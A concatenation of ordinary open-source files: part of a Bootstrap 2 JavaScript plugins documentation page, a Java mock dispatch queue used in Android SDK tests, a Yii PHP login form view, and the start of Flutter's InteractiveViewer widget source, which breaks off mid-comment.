<td>''</td> <td>default title value if `title` tag isn't present</td> </tr> <tr> <td>trigger</td> <td>string</td> <td>'hover'</td> <td>how tooltip is triggered - hover | focus | manual</td> </tr> <tr> <td>delay</td> <td>number | object</td> <td>0</td> <td> <p>delay showing and hiding the tooltip (ms)</p> <p>If a number is supplied, delay is applied to both hide/show</p> <p>Object structure is: <code>delay: { show: 500, hide: 100 }</code></p> </td> </tr> </tbody> </table> <div class="alert alert-info"> <strong>Heads up!</strong> Options for individual tooltips can alternatively be specified through the use of data attributes. </div> <h3>Markup</h3> <p>For performance reasons, the Tooltip and Popover data-apis are opt in. If you would like to use them just specify a selector option.</p> <h3>Methods</h3> <h4>$().tooltip(options)</h4> <p>Attaches a tooltip handler to an element collection.</p> <h4>.tooltip('show')</h4> <p>Reveals an elements tooltip.</p> <pre class="prettyprint linenums">$('#element').tooltip('show')</pre> <h4>.tooltip('hide')</h4> <p>Hides an elements tooltip.</p> <pre class="prettyprint linenums">$('#element').tooltip('hide')</pre> <h4>.tooltip('toggle')</h4> <p>Toggles an elements tooltip.</p> <pre class="prettyprint linenums">$('#element').tooltip('toggle')</pre> </div> </div> </section> <!-- Popovers ================================================== --> <section id="popovers"> <div class="page-header"> <h1>Popovers <small>bootstrap-popover.js</small></h1> </div> <div class="row"> <div class="span3 columns"> <h3>About popovers</h3> <p>Add small overlays of content, like those on the iPad, to any element for housing secondary information.</p> <p class="muted"><strong>*</strong> Requires <a href="#tooltip">Tooltip</a> to be included</p> <a href="../js/bootstrap-popover.js" target="_blank" class="btn">Download file</a> </div> <div class="span9 columns"> <h2>Example hover popover</h2> <p>Hover over the button to trigger the popover.</p> <div class="well"> <a href="#" class="btn btn-danger" rel="popover" title="A Title" data-content="And here's some amazing content. It's very engaging. right?">hover for popover</a> </div> <hr> <h2>Using bootstrap-popover.js</h2> <p>Enable popovers via javascript:</p> <pre class="prettyprint linenums">$('#example').popover(options)</pre> <h3>Options</h3> <table class="table table-bordered table-striped"> <thead> <tr> <th style="width: 100px;">Name</th> <th style="width: 100px;">type</th> <th style="width: 50px;">default</th> <th>description</th> </tr> </thead> <tbody> <tr> <td>animation</td> <td>boolean</td> <td>true</td> <td>apply a css fade transition to the tooltip</td> </tr> <tr> <td>placement</td> <td>string</td> <td>'right'</td> <td>how to position the popover - top | bottom | left | right</td> </tr> <tr> <td>selector</td> <td>string</td> <td>false</td> <td>if a selector is provided, tooltip objects will be delegated to the specified targets</td> </tr> <tr> <td>trigger</td> <td>string</td> <td>'hover'</td> <td>how tooltip is triggered - hover | focus | manual</td> </tr> <tr> <td>title</td> <td>string | function</td> <td>''</td> <td>default title value if `title` attribute isn't present</td> </tr> <tr> <td>content</td> <td>string | function</td> <td>''</td> <td>default content value if `data-content` attribute isn't present</td> </tr> <tr> <td>delay</td> <td>number | object</td> <td>0</td> <td> <p>delay showing and hiding the popover (ms)</p> <p>If a number is supplied, delay is applied to both hide/show</p> <p>Object structure is: <code>delay: { show: 500, hide: 100 }</code></p> </td> </tr> </tbody> </table> <div class="alert alert-info"> <strong>Heads up!</strong> Options for individual popovers can alternatively be specified through the use of data attributes. </div> <h3>Markup</h3> <p> For performance reasons, the Tooltip and Popover data-apis are opt in. If you would like to use them just specify a the selector option. </p> <h3>Methods</h3> <h4>$().popover(options)</h4> <p>Initializes popovers for an element collection.</p> <h4>.popover('show')</h4> <p>Reveals an elements popover.</p> <pre class="prettyprint linenums">$('#element').popover('show')</pre> <h4>.popover('hide')</h4> <p>Hides an elements popover.</p> <pre class="prettyprint linenums">$('#element').popover('hide')</pre> <h4>.popover('toggle')</h4> <p>Toggles an elements popover.</p> <pre class="prettyprint linenums">$('#element').popover('toggle')</pre> </div> </div> </section> <!-- Alert ================================================== --> <section id="alerts"> <div class="page-header"> <h1>Alert messages <small>bootstrap-alert.js</small></h1> </div> <div class="row"> <div class="span3 columns"> <h3>About alerts</h3> <p>The alert plugin is a tiny class for adding close functionality to alerts.</p> <a href="../js/bootstrap-alert.js" target="_blank" class="btn">Download</a> </div> <div class="span9 columns"> <h2>Example alerts</h2> <p>The alerts plugin works on regular alert messages, and block messages.</p> <div class="alert fade in"> <a class="close" data-dismiss="alert" href="#">&times;</a> <strong>Holy guacamole!</strong> Best check yo self, you’re not looking too good. </div> <div class="alert alert-block alert-error fade in"> <a class="close" data-dismiss="alert" href="#">&times;</a> <h4 class="alert-heading">Oh snap! You got an error!</h4> <p>Change this and that and try again. Duis mollis, est non commodo luctus, nisi erat porttitor ligula, eget lacinia odio sem nec elit. Cras mattis consectetur purus sit amet fermentum.</p> <p> <a class="btn btn-danger small" href="#">Take this action</a> <a class="btn small" href="#">Or do this</a> </p> </div> <hr> <h2>Using bootstrap-alerts.js</h2> <p>Enable dismissal of an alert via javascript:</p> <pre class="prettyprint linenums">$(".alert-message").alert()</pre> <h3>Markup</h3> <p>Just add <code>data-dismiss="alert"</code> to your close button to automatically give an alert close functionality.</p> <pre class="prettyprint linenums">&lt;a class="close" data-dismiss="alert" href="#"&gt;&amp;times;&lt;/a&gt;</pre> <h3>Methods</h3> <h4>$().alert()</h4> <p>Wraps all alerts with close functionality. To have your alerts animate out when closed, make sure they have the <code>.fade</code> and <code>.in</code> class already applied to them.</p> <h4>.alert('close')</h4> <p>Closes an alert.</p> <pre class="prettyprint linenums">$(".alert-message").alert('close')</pre> <h3>Events</h3> <p>Bootstrap's alert class exposes a few events for hooking into alert functionality.</p> <table class="table table-bordered table-striped"> <thead> <tr> <th style="width: 150px;">Event</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>close</td> <td>This event fires immediately when the <code>close</code> instance method is called.</td> </tr> <tr> <td>closed</td> <td>This event is fired when the alert has been closed (will wait for css transitions to complete).</td> </tr> </tbody> </table> <pre class="prettyprint linenums"> $('#my-alert').bind('closed', function () { // do something… })</pre> </div> </div> </section> <!-- Buttons ================================================== --> <section id="buttons"> <div class="page-header"> <h1>Buttons <small>bootstrap-button.js</small></h1> </div> <div class="row"> <div class="span3 columns"> <h3>About</h3> <p>Do more with buttons. Control button states or create groups of buttons for more components like toolbars.</p> <a href="../js/bootstrap-button.js" target="_blank" class="btn">Download file</a> </div> <div class="span9 columns"> <h2>Example uses</h2> <p>Use the buttons plugin for states and toggles.</p> <table class="table table-bordered table-striped"> <tbody> <tr> <td>Stateful</td> <td> <button id="fat-btn" data-loading-text="loading..." class="btn btn-primary"> Loading State </button> </td> </tr> <tr> <td>Single toggle</td> <td> <button class="btn btn-primary" data-toggle="button">Single Toggle</button> </td> </tr> <tr> <td>Checkbox</td> <td> <div class="btn-group" data-toggle="buttons-checkbox"> <button class="btn btn-primary">Left</button> <button class="btn btn-primary">Middle</button> <button class="btn btn-primary">Right</button> </div> </td> </tr> <tr> <td>Radio</td> <td> <div class="btn-group" data-toggle="buttons-radio"> <button class="btn btn-primary">Left</button> <button class="btn btn-primary">Middle</button> <button class="btn btn-primary">Right</button> </div> </td> </tr> </tbody> </table> <hr> <h2>Using bootstrap-button.js</h2> <p>Enable buttons via javascript:</p> <pre class="prettyprint linenums">$('.tabs').button()</pre> <h3>Markup</h3> <p>Data attributes are integral to the button plugin. Check out the example code below for the various markup types.</p> <pre class="prettyprint linenums"> &lt;!-- Add data-toggle="button" to activate toggling on a single button --&gt; &lt;button class="btn" data-toggle="button"&gt;Single Toggle&lt;/button&gt; &lt;!-- Add data-toggle="buttons-checkbox" for checkbox style toggling on btn-group --&gt; &lt;div class="btn-group" data-toggle="buttons-checkbox"&gt; &lt;button class="btn"&gt;Left&lt;/button&gt; &lt;button class="btn"&gt;Middle&lt;/button&gt; &lt;button class="btn"&gt;Right&lt;/button&gt; &lt;/div&gt; &lt;!-- Add data-toggle="buttons-radio" for radio style toggling on btn-group --&gt; &lt;div class="btn-group" data-toggle="buttons-radio"&gt; &lt;button class="btn"&gt;Left&lt;/button&gt; &lt;button class="btn"&gt;Middle&lt;/button&gt; &lt;button class="btn"&gt;Right&lt;/button&gt; &lt;/div&gt; </pre> <h3>Methods</h3> <h4>$().button('toggle')</h4> <p>Toggles push state. Gives btn the look that it's been activated.</p> <div class="alert alert-info"> <strong>Heads up!</strong> You can enable auto toggling of a button by using the <code>data-toggle</code> attribute. </div> <pre class="prettyprint linenums">&lt;button class="btn" data-toggle="button" &gt;…&lt;/button&gt;</pre> <h4>$().button('loading')</h4> <p>Sets button state to loading - disables button and swaps text to loading text. Loading text should be defined on the button element using the data attribute <code>data-loading-text</code>. </p> <pre class="prettyprint linenums">&lt;button class="btn" data-loading-text="loading stuff..." &gt;...&lt;/button&gt;</pre> <div class="alert alert-info"> <strong>Heads up!</strong> <a href="https://github.com/twitter/bootstrap/issues/793">Firefox persists the disabled state across page loads</a>. A workaround for this is to use <code>autocomplete="off"</code>. </div> <h4>$().button('reset')</h4> <p>Resets button state - swaps text to original text.</p> <h4>$().button(string)</h4> <p>Resets button state - swaps text to any data defined text state.</p> <pre class="prettyprint linenums">&lt;button class="btn" data-complete-text="finished!" &gt;...&lt;/button&gt; &lt;script&gt; $('.btn').button('complete') &lt;/script&gt;</pre> </div> </div> </section> <!-- Collapse ================================================== --> <section id="collapse"> <div class="page-header"> <h1>Collapse <small>bootstrap-collapse.js</small></h1> </div> <div class="row"> <div class="span3 columns"> <h3>About</h3> <p>Get base styles and flexible support for collapsible components like accordions and navigation.</p> <a href="../js/bootstrap-collapse.js" target="_blank" class="btn">Download file</a> </div> <div class="span9 columns"> <h2>Example accordion</h2> <p>Using the collapse plugin, we built a simple accordion style widget:</p> <div class="accordion" id="accordion2"> <div class="accordion-group"> <div class="accordion-heading"> <a class="accordion-toggle" data-toggle="collapse" data-parent="#accordion2" href="#collapseOne"> Collapsible Group Item #1 </a> </div> <div id="collapseOne" class="accordion-body collapse in"> <div class="accordion-inner"> Anim pariatur cliche reprehenderit, enim eiusmod high life accusamus terry richardson ad squid. 3 wolf moon officia aute, non cupidatat skateboard dolor brunch. Food truck quinoa nesciunt laborum eiusmod. Brunch 3 wolf moon tempor, sunt aliqua put a bird on it squid single-origin coffee nulla assumenda shoreditch et. Nihil anim keffiyeh helvetica, craft beer labore wes anderson cred nesciunt sapiente ea proident. Ad vegan excepteur butcher vice lomo. Leggings occaecat craft beer farm-to-table, raw denim aesthetic synth nesciunt you probably haven't heard of them accusamus labore sustainable VHS. </div> </div> </div> <div class="accordion-group"> <div class="accordion-heading"> <a class="accordion-toggle" data-toggle="collapse" data-parent="#accordion2" href="#collapseTwo"> Collapsible Group Item #2 </a> </div> <div id="collapseTwo" class="accordion-body collapse"> <div class="accordion-inner"> Anim pariatur cliche reprehenderit, enim eiusmod high life accusamus terry richardson ad squid. 3 wolf moon officia aute, non cupidatat skateboard dolor brunch. Food truck quinoa nesciunt laborum eiusmod. Brunch 3 wolf moon tempor, sunt aliqua put a bird on it squid single-origin coffee nulla assumenda shoreditch et. Nihil anim keffiyeh helvetica, craft beer labore wes anderson cred nesciunt sapiente ea proident. Ad vegan excepteur butcher vice lomo. Leggings occaecat craft beer farm-to-table, raw denim aesthetic synth nesciunt you probably haven't heard of them accusamus labore sustainable VHS. </div> </div> </div> <div class="accordion-group"> <div class="accordion-heading"> <a class="accordion-toggle" data-toggle="collapse" data-parent="#accordion2" href="#collapseThree"> Collapsible Group Item #3 </a> </div> <div id="collapseThree" class="accordion-body collapse"> <div class="accordion-inner"> Anim pariatur cliche reprehenderit, enim eiusmod high life accusamus terry richardson ad squid. 3 wolf moon officia aute, non cupidatat skateboard dolor brunch. Food truck quinoa nesciunt laborum eiusmod. Brunch 3 wolf moon tempor, sunt aliqua put a bird on it squid single-origin coffee nulla assumenda shoreditch et. Nihil anim keffiyeh helvetica, craft beer labore wes anderson cred nesciunt sapiente ea proident. Ad vegan excepteur butcher vice lomo. Leggings occaecat craft beer farm-to-table, raw denim aesthetic synth nesciunt you probably haven't heard of them accusamus labore sustainable VHS. </div> </div> </div> </div> <hr> <h2>Using bootstrap-collapse.js</h2> <p>Enable via javascript:</p> <pre class="prettyprint linenums">$(".collapse").collapse()</pre> <h3>Options</h3> <table class="table table-bordered table-striped"> <thead> <tr> <th style="width: 100px;">Name</th> <th style="width: 50px;">type</th> <th style="width: 50px;">default</th> <th>description</th> </tr> </thead> <tbody> <tr> <td>parent</td> <td>selector</td> <td>false</td> <td>If selector then all collapsible elements under the specified parent will be closed when this collasabile item is shown. (similar to traditional accordion behavior)</td> </tr> <tr> <td>toggle</td> <td>boolean</td> <td>true</td> <td>Toggles the collapsible element on invocation</td> </tr> </tbody> </table> <h3>Markup</h3> <p>Just add <code>data-toggle="collapse"</code> and a <code>data-target</code> to element to automatically assign control of a collapsible element. The <code>data-target</code> attribute accepts a css selector to apply the collapse to. Be sure to add the class <code>collapse</code> to the collapsible element. If you'd like it to default open, add the additional class <code>in</code>.</p> <pre class="prettyprint linenums"> &lt;button class="btn btn-danger" data-toggle="collapse" data-target="#demo"&gt; simple collapsible &lt;/button&gt; &lt;div id="demo" class="collapse in"&gt; … &lt;/div&gt;</pre> <div class="alert alert-info"> <strong>Heads up!</strong> To add accordion-like group management to a collapsible control, add the data attribute <code>data-parent="#selector"</code>. Refer to the demo to see this in action. </div> <h3>Methods</h3> <h4>.collapse(options)</h4> <p>Activates your content as a collapsible element. Accepts an optional options <code>object</code>. <pre class="prettyprint linenums"> $('#myCollapsible').collapse({ toggle: false })</pre> <h4>.collapse('toggle')</h4> <p>Toggles a collapsible element to shown or hidden.</p> <h4>.collapse('show')</h4> <p>Shows a collapsible element.</p> <h4>.collapse('hide')</h4> <p>Hides a collapsible element.</p> <h3>Events</h3> <p> Bootstrap's collapse class exposes a few events for hooking into collapse functionality. </p> <table class="table table-bordered table-striped"> <thead> <tr> <th style="width: 150px;">Event</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>show</td> <td>This event fires immediately when the <code>show</code> instance method is called.</td> </tr> <tr> <td>shown</td> <td>This event is fired when a collapse element has been made visible to the user (will wait for css transitions to complete).</td> </tr> <tr> <td>hide</td> <td> This event is fired immediately when the <code>hide</code> method has been called. </td> </tr> <tr> <td>hidden</td> <td>This event is fired when a collapse element has been hidden from the user (will wait for css transitions to complete).</td> </tr> </tbody> </table> <pre class="prettyprint linenums"> $('#myCollapsible').on('hidden', function () { // do something… })</pre> </div> </div> </section> <!-- Carousel ================================================== --> <section id="carousel"> <div class="page-header"> <h1>Carousel <small>bootstrap-carousel.js</small></h1> </div> <div class="row"> <div class="span3 columns"> <h3>About</h3> <p>A generic plugin for cycling through elements. A merry-go-round.</p> <a href="../js/bootstrap-carousel.js" target="_blank" class="btn">Download file</a> </div> <div class="span9 columns"> <h2>Example carousel</h2> <p>Watch the slideshow below.</p> <div id="myCarousel" class="carousel slide"> <div class="carousel-inner"> <div class="item active"> <img src="assets/img/bootstrap-mdo-sfmoma-01.jpg" alt=""> <div class="carousel-caption"> <h4>First Thumbnail label</h4> <p>Cras justo odio, dapibus ac facilisis in, egestas eget quam. Donec id elit non mi porta gravida at eget metus. Nullam id dolor id nibh ultricies vehicula ut id elit.</p> </div> </div> <div class="item"> <img src="assets/img/bootstrap-mdo-sfmoma-02.jpg" alt=""> <div class="carousel-caption"> <h4>Second Thumbnail label</h4> <p>Cras justo odio, dapibus ac facilisis in, egestas eget quam. Donec id elit non mi porta gravida at eget metus. Nullam id dolor id nibh ultricies vehicula ut id elit.</p> </div> </div> <div class="item"> <img src="assets/img/bootstrap-mdo-sfmoma-03.jpg" alt=""> <div class="carousel-caption"> <h4>Third Thumbnail label</h4> <p>Cras justo odio, dapibus ac facilisis in, egestas eget quam. Donec id elit non mi porta gravida at eget metus. Nullam id dolor id nibh ultricies vehicula ut id elit.</p> </div> </div> </div> <a class="left carousel-control" href="#myCarousel" data-slide="prev">&lsaquo;</a> <a class="right carousel-control" href="#myCarousel" data-slide="next">&rsaquo;</a> </div> <div class="alert alert-info"> <strong>Heads up!</strong> When implementing this carousel, remove the images we have provided and replace them with your own. </div> <hr> <h2>Using bootstrap-carousel.js</h2> <p>Call via javascript:</p> <pre class="prettyprint linenums">$('.carousel').carousel()</pre> <h3>Options</h3> <table class="table table-bordered table-striped"> <thead> <tr> <th style="width: 100px;">Name</th> <th style="width: 50px;">type</th> <th style="width: 50px;">default</th> <th>description</th> </tr> </thead> <tbody> <tr> <td>interval</td> <td>number</td> <td>5000</td> <td>The amount of time to delay between automatically cycling an item.</td> </tr> </tbody> </table> <h3>Markup</h3> <p>Data attributes are integral to the carousel plugin. Check out the example code below for the various markup types.</p> <pre class="prettyprint linenums"> &lt;div class="carousel"&gt; &lt;!-- Carousel items --&gt; &lt;div class="carousel-inner"&gt; ... &lt;/div&gt; &lt;!-- Carousel nav --&gt; &lt;a class="carousel-control left" href="#myCarousel" data-slide="prev"&gt;&amp;lsaquo;&lt;/a&gt; &lt;a class="carousel-control right" href="#myCarousel" data-slide="next"&gt;&amp;rsaquo;&lt;/a&gt; &lt;/div&gt; </pre> <h3>Methods</h3> <h4>.carousel(options)</h4> <p>Initializes the carousel with an optional options <code>object</code> and starts cycling through items.</p> <pre class="prettyprint linenums"> $('.myCarousel').carousel({ interval: 2000 }) </pre> <h4>.carousel('cycle')</h4> <p>Cycles through the carousel items from left to right.</p> <h4>.carousel('pause')</h4> <p>Stops the carousel from cycling through items.</p> <h4>.carousel(number)</h4> <p>Cycles the carousel to a particular frame (0 based, similar to an array).</p> <h4>.carousel('prev')</h4> <p>Cycles to the previous item.</p> <h4>.carousel('next')</h4> <p>Cycles to the next item.</p> <h3>Events</h3> <p>Bootstrap's modal class exposes a few events for hooking into modal functionality.</p> <table class="table table-bordered table-striped"> <thead> <tr> <th style="width: 150px;">Event</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>slide</td> <td>This event fires immediately when the <code>slide</code> instance method is invoked.</td> </tr> <tr> <td>slid</td> <td>This event is fired when the carousel has completed it's slide transition.</td> </tr> </tbody> </table> </div> </div> </section> <!-- Typeahead ================================================== --> <section id="typeahead"> <div class="page-header"> <h1>Typeahead <small>bootstrap-typeahead.js</small></h1> </div> <div class="row"> <div class="span3 columns"> <h3>About</h3> <p>A basic, easily extended plugin for quickly creating elegant typeaheads with any form text input.</p> <a href="../js/bootstrap-typeahead.js" target="_blank" class="btn">Download file</a> </div> <div class="span9 columns"> <h2>Example</h2> <p>Start typing in the field below to show the typeahead results.</p> <div class="well"> <input type="text" class="span3" style="margin: 0 auto;" data-provide="typeahead" data-items="4" data-source='["Alabama","Alaska","Arizona","Arkansas","California","Colorado","Connecticut","Delaware","Florida","Georgia","Hawaii","Idaho","Illinois","Indiana","Iowa","Kansas","Kentucky","Louisiana","Maine","Maryland","Massachusetts","Michigan","Minnesota","Mississippi","Missouri","Montana","Nebraska","Nevada","New Hampshire","New Jersey","New Mexico","New York","North Dakota","North Carolina","Ohio","Oklahoma","Oregon","Pennsylvania","Rhode Island","South Carolina","South Dakota","Tennessee","Texas","Utah","Vermont","Virginia","Washington","West Virginia","Wisconsin","Wyoming"]'> </div> <hr> <h2>Using bootstrap-typeahead.js</h2> <p>Call the typeahead via javascript:</p> <pre class="prettyprint linenums">$('.typeahead').typeahead()</pre> <h3>Options</h3> <table class="table table-bordered table-striped"> <thead> <tr> <th style="width: 100px;">Name</th> <th style="width: 50px;">type</th> <th style="width: 100px;">default</th> <th>description</th> </tr> </thead> <tbody> <tr> <td>source</td> <td>array</td> <td>[ ]</td> <td>The data source to query against.</td> </tr> <tr> <td>items</td> <td>number</td> <td>8</td> <td>The max number of items to display in the dropdown.</td> </tr> <tr> <td>matcher</td> <td>function</td> <td>case insensitive</td> <td>The method used to determine if a query matches an item. Accepts a single argument, the <code>item</code> against which to test the query. Access the current query with <code>this.query</code>. Return a boolean <code>true</code> if query is a match.</td> </tr> <tr> <td>sorter</td> <td>function</td> <td>exact match,<br> case sensitive,<br> case insensitive</td> <td>Method used to sort autocomplete results. Accepts a single argument <code>items</code> and has the scope of the typeahead instance. Reference the current query with <code>this.query</code>.</td> </tr> <tr> <td>highlighter</td> <td>function</td> <td>highlights all default matches</td> <td>Method used to highlight autocomplete results. Accepts a single argument <code>item</code> and has the scope of the typeahead instance. Should return html.</td> </tr> </tbody> </table> <h3>Markup</h3> <p>Add data attributes to register an element with typeahead functionality.</p> <pre class="prettyprint linenums"> &lt;input type="text" data-provide="typeahead"&gt; </pre> <h3>Methods</h3> <h4>.typeahead(options)</h4> <p>Initializes an input with a typahead.</p> </div> </div> </section> <!-- Footer ================================================== --> <footer class="footer"> <p class="pull-right"><a href="#">Back to top</a></p> <p>Designed and built with all the love in the world <a href="http://twitter.com/twitter" target="_blank">@twitter</a> by <a href="http://twitter.com/mdo" target="_blank">@mdo</a> and <a href="http://twitter.com/fat" target="_blank">@fat</a>.</p> <p>Code licensed under the <a href="http://www.apache.org/licenses/LICENSE-2.0" target="_blank">Apache License v2.0</a>. Documentation licensed under <a href="http://creativecommons.org/licenses/by/3.0/">CC BY 3.0</a>.</p> <p>Icons from <a href="http://glyphicons.com">Glyphicons Free</a>, licensed under <a href="http://creativecommons.org/licenses/by/3.0/">CC BY 3.0</a>.</p> </footer> </div><!-- /container --> <!-- Le javascript ================================================== --> <!-- Placed at the end of the document so the pages load faster --> <script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script> <script src="assets/js/jquery.js"></script> <script src="assets/js/google-code-prettify/prettify.js"></script> <script src="assets/js/bootstrap-transition.js"></script> <script src="assets/js/bootstrap-alert.js"></script> <script src="assets/js/bootstrap-modal.js"></script> <script src="assets/js/bootstrap-dropdown.js"></script> <script src="assets/js/bootstrap-scrollspy.js"></script> <script src="assets/js/bootstrap-tab.js"></script> <script src="assets/js/bootstrap-tooltip.js"></script> <script src="assets/js/bootstrap-popover.js"></script> <script src="assets/js/bootstrap-button.js"></script> <script src="assets/js/bootstrap-collapse.js"></script> <script src="assets/js/bootstrap-carousel.js"></script> <script src="assets/js/bootstrap-typeahead.js"></script> <script src="assets/js/application.js"></script> </body> </html>
instituteofdesign/django-lms
libs/bootstrap/docs/javascript.html
HTML
bsd-3-clause
71,249
/* * Copyright (c) 2017, Apptentive, Inc. All Rights Reserved. * Please refer to the LICENSE file for the terms and conditions * under which redistribution and use of this file is permitted. */ package com.apptentive.android.sdk.util.threading; import java.util.LinkedList; import java.util.Queue; import static com.apptentive.android.sdk.util.RuntimeUtils.overrideStaticFinalField; public class MockDispatchQueue extends DispatchQueue { private final boolean runImmediately; private Queue<DispatchTask> tasks; private boolean indentifyAsMainQueue = true; public MockDispatchQueue(boolean runImmediately) { super("Mock Queue"); this.runImmediately = runImmediately; this.tasks = new LinkedList<>(); } @Override protected void dispatch(DispatchTask task, long delayMillis) { if (runImmediately) { task.run(); } else { tasks.add(task); } } @Override public void stop() { tasks.clear(); } @Override public boolean isCurrent() { return true; // sure, why not? :) } public MockDispatchQueue setIndentifyAsMainQueue(boolean indentifyAsMainQueue) { this.indentifyAsMainQueue = indentifyAsMainQueue; return this; } public void dispatchTasks() { while (tasks.size() > 0) { tasks.poll().run(); } } public static MockDispatchQueue overrideMainQueue(boolean runImmediately) { MockDispatchQueue queue = new MockDispatchQueue(runImmediately); overrideMainQueue(queue); return queue; } private static void overrideMainQueue(final MockDispatchQueue queue) { try { overrideStaticFinalField(findHolderClass(DispatchQueue.class.getDeclaredClasses()), "MAIN_QUEUE", queue); overrideStaticFinalField(DispatchQueue.class, "MAIN_QUEUE_CHECKER", new DispatchQueue.MainQueueChecker() { @Override public boolean isMainQueue() { return queue.indentifyAsMainQueue; } }); } catch (Exception e) { throw new AssertionError(e); } } private static Class<?> findHolderClass(Class<?>[] classes) { for (Class<?> cls : classes) { if (cls.getSimpleName().equals("Holder")) { return cls; } } return null; } }
apptentive/apptentive-android
apptentive/src/testCommon/java/com/apptentive/android/sdk/MockDispatchQueue.java
Java
bsd-3-clause
2,101
<?php use yii\helpers\Html; use yii\bootstrap\ActiveForm; /* @var $this yii\web\View */ /* @var $form yii\bootstrap\ActiveForm */ /* @var $model \app\modules\user\models\LoginForm */ $this->title = 'Login'; $this->params['breadcrumbs'][] = $this->title; ?> <div class="user-default-login"> <h1><?= Html::encode($this->title) ?></h1> <p>Please fill out the following fields to login:</p> <div class="row"> <div class="col-lg-5"> <?php $form = ActiveForm::begin(['id' => 'login-form']); ?> <?= $form->field($model, 'username') ?> <?= $form->field($model, 'password')->passwordInput() ?> <?= $form->field($model, 'rememberMe')->checkbox() ?> <div style="color:#999;margin:1em 0"> If you forgot your password you can <?= Html::a('reset it', ['request-password-reset']) ?>. </div> <div class="form-group"> <?= Html::submitButton('Login', ['class' => 'btn btn-primary', 'name' => 'login-button']) ?> </div> <?php ActiveForm::end(); ?> </div> </div> </div>
pozdny/domodel.dev
modules/user/views/default/login.php
PHP
bsd-3-clause
1,126
// Copyright 2014 The Flutter Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. import 'dart:math' as math; import 'package:flutter/gestures.dart'; import 'package:flutter/physics.dart'; import 'package:vector_math/vector_math_64.dart' show Quad, Vector3, Matrix4; import 'basic.dart'; import 'framework.dart'; import 'gesture_detector.dart'; import 'ticker_provider.dart'; /// A widget that enables pan and zoom interactions with its child. /// /// The user can transform the child by dragging to pan or pinching to zoom. /// /// By default, InteractiveViewer may draw outside of its original area of the /// screen, such as when a child is zoomed in and increases in size. However, it /// will not receive gestures outside of its original area. To prevent /// InteractiveViewer from drawing outside of its original size, wrap it in a /// [ClipRect]. Or, to prevent dead areas where InteractiveViewer does not /// receive gestures, be sure that the InteractiveViewer widget is the size of /// the area that should be interactive. See /// [flutter-go](https://github.com/justinmc/flutter-go) for an example of /// robust positioning of an InteractiveViewer child that works for all screen /// sizes and child sizes. /// /// The [child] must not be null. /// /// See also: /// * The [Flutter Gallery's transformations demo](https://github.com/flutter/gallery/blob/master/lib/demos/reference/transformations_demo.dart), /// which includes the use of InteractiveViewer. /// /// {@tool dartpad --template=stateless_widget_scaffold} /// This example shows a simple Container that can be panned and zoomed. /// /// ```dart /// Widget build(BuildContext context) { /// return Center( /// child: InteractiveViewer( /// boundaryMargin: EdgeInsets.all(20.0), /// minScale: 0.1, /// maxScale: 1.6, /// child: Container( /// decoration: BoxDecoration( /// gradient: LinearGradient( /// begin: Alignment.topCenter, /// end: Alignment.bottomCenter, /// colors: <Color>[Colors.orange, Colors.red], /// stops: <double>[0.0, 1.0], /// ), /// ), /// ), /// ), /// ); /// } /// ``` /// {@end-tool} @immutable class InteractiveViewer extends StatefulWidget { /// Create an InteractiveViewer. /// /// The [child] parameter must not be null. InteractiveViewer({ Key? key, this.alignPanAxis = false, this.boundaryMargin = EdgeInsets.zero, this.constrained = true, // These default scale values were eyeballed as reasonable limits for common // use cases. this.maxScale = 2.5, this.minScale = 0.8, this.onInteractionEnd, this.onInteractionStart, this.onInteractionUpdate, this.panEnabled = true, this.scaleEnabled = true, this.transformationController, required this.child, }) : assert(alignPanAxis != null), assert(child != null), assert(constrained != null), assert(minScale != null), assert(minScale > 0), assert(minScale.isFinite), assert(maxScale != null), assert(maxScale > 0), assert(!maxScale.isNaN), assert(maxScale >= minScale), assert(panEnabled != null), assert(scaleEnabled != null), // boundaryMargin must be either fully infinite or fully finite, but not // a mix of both. assert((boundaryMargin.horizontal.isInfinite && boundaryMargin.vertical.isInfinite) || (boundaryMargin.top.isFinite && boundaryMargin.right.isFinite && boundaryMargin.bottom.isFinite && boundaryMargin.left.isFinite)), super(key: key); /// If true, panning is only allowed in the direction of the horizontal axis /// or the vertical axis. /// /// In other words, when this is true, diagonal panning is not allowed. A /// single gesture begun along one axis cannot also cause panning along the /// other axis without stopping and beginning a new gesture. This is a common /// pattern in tables where data is displayed in columns and rows. /// /// See also: /// * [constrained], which has an example of creating a table that uses /// alignPanAxis. final bool alignPanAxis; /// A margin for the visible boundaries of the child. /// /// Any transformation that results in the viewport being able to view outside /// of the boundaries will be stopped at the boundary. The boundaries do not /// rotate with the rest of the scene, so they are always aligned with the /// viewport. /// /// To produce no boundaries at all, pass infinite [EdgeInsets], such as /// `EdgeInsets.all(double.infinity)`. /// /// No edge can be NaN. /// /// Defaults to [EdgeInsets.zero], which results in boundaries that are the /// exact same size and position as the [child]. final EdgeInsets boundaryMargin; /// The Widget to perform the transformations on. /// /// Cannot be null. final Widget child; /// Whether the normal size constraints at this point in the widget tree are /// applied to the child. /// /// If set to false, then the child will be given infinite constraints. This /// is often useful when a child should be bigger than the InteractiveViewer. /// /// Defaults to true. /// /// {@tool dartpad --template=stateless_widget_scaffold} /// This example shows how to create a pannable table. Because the table is /// larger than the entire screen, setting `constrained` to false is necessary /// to allow it to be drawn to its full size. The parts of the table that /// exceed the screen size can then be panned into view. /// /// ```dart /// Widget build(BuildContext context) { /// const int _rowCount = 48; /// const int _columnCount = 6; /// /// return InteractiveViewer( /// alignPanAxis: true, /// constrained: false, /// scaleEnabled: false, /// child: Table( /// columnWidths: <int, TableColumnWidth>{ /// for (int column = 0; column < _columnCount; column += 1) /// column: const FixedColumnWidth(200.0), /// }, /// children: <TableRow>[ /// for (int row = 0; row < _rowCount; row += 1) /// TableRow( /// children: <Widget>[ /// for (int column = 0; column < _columnCount; column += 1) /// Container( /// height: 26, /// color: row % 2 + column % 2 == 1 /// ? Colors.white /// : Colors.grey.withOpacity(0.1), /// child: Align( /// alignment: Alignment.centerLeft, /// child: Text('$row x $column'), /// ), /// ), /// ], /// ), /// ], /// ), /// ); /// } /// ``` /// {@end-tool} final bool constrained; /// If false, the user will be prevented from panning. /// /// Defaults to true. /// /// See also: /// /// * [scaleEnabled], which is similar but for scale. final bool panEnabled; /// If false, the user will be prevented from scaling. /// /// Defaults to true. /// /// See also: /// /// * [panEnabled], which is similar but for panning. final bool scaleEnabled; /// The maximum allowed 